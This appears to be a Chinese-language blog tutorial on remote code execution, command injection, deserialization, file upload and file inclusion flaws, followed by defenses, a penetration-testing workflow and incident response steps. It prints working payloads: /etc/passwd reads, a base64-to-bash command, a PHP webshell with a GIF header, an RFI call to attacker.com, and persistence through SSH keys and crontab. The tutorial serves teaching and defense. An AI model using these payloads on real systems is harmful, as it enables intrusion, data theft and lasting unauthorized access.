代码执行和文件执行介绍以及注入步骤

代码执行漏洞(RCE)

底层原理
程序未对用户输入进行严格过滤,允许攻击者通过输入点注入任意代码或命令,利用动态语言特性(如 PHP 的 eval、Python 的 os.system)或系统调用执行恶意操作。


攻击分类与利用技术
  1. 命令注入(OS Command Injection)

    • 目标函数system()exec()popen()、反引号(``)等。

    • 绕过过滤方法

      • 符号绕过;(分号)、&&(逻辑与)、|(管道符)、$()(命令替换)。

        # 示例:拼接命令  
        http://target.com/api?cmd=ping%20127.0.0.1%20%26%26%20cat%20/etc/passwd
      • 编码绕过:使用 URL 编码、Base64、十六进制等。

        # Base64 编码命令  
        echo "cat /etc/passwd" | base64  →  Y2F0IC9ldGMvcGFzc3dkCg==  
        payload: ; echo Y2F0IC9ldGMvcGFzc3dkCg== | base64 -d | bash
      • 环境变量注入:利用 ${PATH:0:1} 生成 / 符号。

        ${PATH:0:1}tmp${PATH:0:1}malicious.sh  → /tmp/malicious.sh
  2. 代码注入(动态执行漏洞)

    • 目标函数eval()assert()Function()(JavaScript)、exec()(Python)。

    • PHP 示例

      <?php
      $code = $_GET['code'];
      eval($code);  // 输入 ?code=system("id");
      ?>
    • 绕过黑名单

      • 字符串拼接"sy"."stem"("id") → system("id")

      • 利用变量函数(PHP):

        $func = "system"; $func("id");  
      • 反射调用(Java/Python):通过类名动态调用方法。

  3. 反序列化漏洞

    • 触发点ObjectInputStream(Java)、pickle.load()(Python)、unserialize()(PHP)。

    • 利用链构造

      • Java Commons Collections:生成 Gadget 链执行命令。

      • Python __reduce__:在反序列化时触发恶意函数。

        import pickle
        class Exploit:
            def __reduce__(self):
                return (os.system, ('id',))
        payload = pickle.dumps(Exploit())

文件执行漏洞

攻击场景与利用链
  1. 文件上传漏洞

    • 绕过限制技术

      • 扩展名绕过

        • 双扩展名:shell.php.jpg(Apache 可能解析为 PHP)。

        • 空字节截断:shell.php%00.jpg(旧版 PHP)。

        • 大小写混淆:SHELL.PhP

      • 内容绕过

        • 添加图片头(GIF89a)伪装图片:

          GIF89a<?php system($_GET['cmd']); ?>
        • 利用 Exif 数据注入 PHP 代码。

      • 解析漏洞

        • Nginx 畸形路径/uploads/shell.jpg/.php(错误配置导致 PHP 解析)。

        • IIS 短文件名:利用 ~1 特性猜测文件名。

  2. 文件包含漏洞(LFI/RFI)

    • 本地文件包含(LFI)

      • 读取敏感文件:

        http://target.com/?file=../../../../etc/passwd
      • 日志污染:注入 PHP 代码到 Nginx/Access 日志,再包含日志文件。

    • 远程文件包含(RFI)

      • 需服务器开启 allow_url_include(PHP 配置)。

      • 示例:

        http://target.com/?file=http://attacker.com/shell.txt
      • PHP 伪协议利用

        ?file=php://filter/convert.base64-encode/resource=index.php  # 读取源码  
        ?file=php://input&cmd=id  # 通过 POST 传递代码执行  

深度防御方案

代码执行防御
  1. 输入处理

    • 白名单校验:仅允许预期字符(如数字、字母),拒绝所有特殊符号。

    • 参数化调用(非字符串拼接):

      # Python 安全示例  
      import subprocess  
      subprocess.run(["ls", "-l"], check=True)  # 避免直接拼接命令  
  2. 沙箱隔离

    • 使用 Docker 容器限制进程权限。

    • 配置 SELinux/AppArmor 限制程序行为。

  3. 语言级防护

    • PHP:禁用 evalassert,配置 open_basedir 限制文件访问范围。

    • Python:避免 pickle 反序列化不可信数据,改用 json

文件执行防御
  1. 文件上传

    • 存储策略

      • 文件重命名(MD5 哈希 + 随机后缀)。

      • 存储到非 Web 目录,通过 PHP 代理访问文件(禁止直接执行)。

    • 内容检查

      • 使用 file 命令或 libmagic 检测真实文件类型。

      • 扫描文件内容中的危险关键词(如 <?php)。

  2. 文件包含防护

    • 固定包含路径:禁止动态变量控制文件路径。

      // 错误示例  
      include($_GET['page'] . '.php');  
      // 正确示例  
      $allowed = ['home', 'about'];  
      if (in_array($_GET['page'], $allowed)) {  
          include($_GET['page'] . '.php');  
      }  
    • 关闭危险配置

      ; PHP.ini  
      allow_url_include = Off  
      allow_url_fopen = Off  

高级渗透测试流程

  1. 信息收集

    • 使用 nmap 扫描开放端口,识别 Web 框架(Wappalyzer)。

    • 分析 JS/CSS 文件寻找 API 端点或调试接口。

  2. 漏洞探测

    • 自动化工具

      • SQLi/XSS:SQLMap、XSStrike。

      • RCE:Metasploit、Cobalt Strike。

    • 手动测试

      • 修改 HTTP 头部(如 X-Forwarded-For)测试注入点。

      • 尝试触发错误信息(如故意输入错误语法)。

  3. 后渗透阶段

    • 权限提升

      • 利用内核漏洞(DirtyCow、CVE-2021-4034)。

      • 查找 SUID 文件:find / -perm -4000 2>/dev/null

    • 持久化

      • 写入 SSH 公钥:echo "公钥" >> ~/.ssh/authorized_keys

      • 添加定时任务:crontab -e → * * * * * /bin/bash -c '恶意命令'


应急响应与取证

  1. 隔离系统

    • 断开网络,防止横向渗透。

    • 创建内存快照(Volatility)和磁盘镜像(dd)。

  2. 痕迹分析

    • 日志审计

      • Web 日志:grep 'POST /shell.php' /var/log/nginx/access.log

      • 系统日志:journalctl -u sshd | grep "Failed password"(爆破尝试)。

    • 文件监控

      • 查找最近修改的文件:find /var/www -mtime -1

      • 检查隐藏文件:ls -la /tmp(常见 Webshell 路径)。

  3. 修复与加固

    • 补丁更新:升级框架版本(如 Struts、Spring)。

    • WAF 规则:配置 ModSecurity 拦截恶意请求。

    • 密钥轮换:重置数据库密码、SSH 密钥、API Token。


工具链参考

  • 代码扫描:SonarQube、Semgrep(静态分析)。

  • 漏洞利用:Metasploit、SQLMap、BeEF(浏览器利用)。

  • Webshell 管理:AntSword(蚁剑)、Cobalt Strike。

  • 流量分析:Wireshark、tcpdump。

(注:实际渗透需遵守法律,仅限授权测试。)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值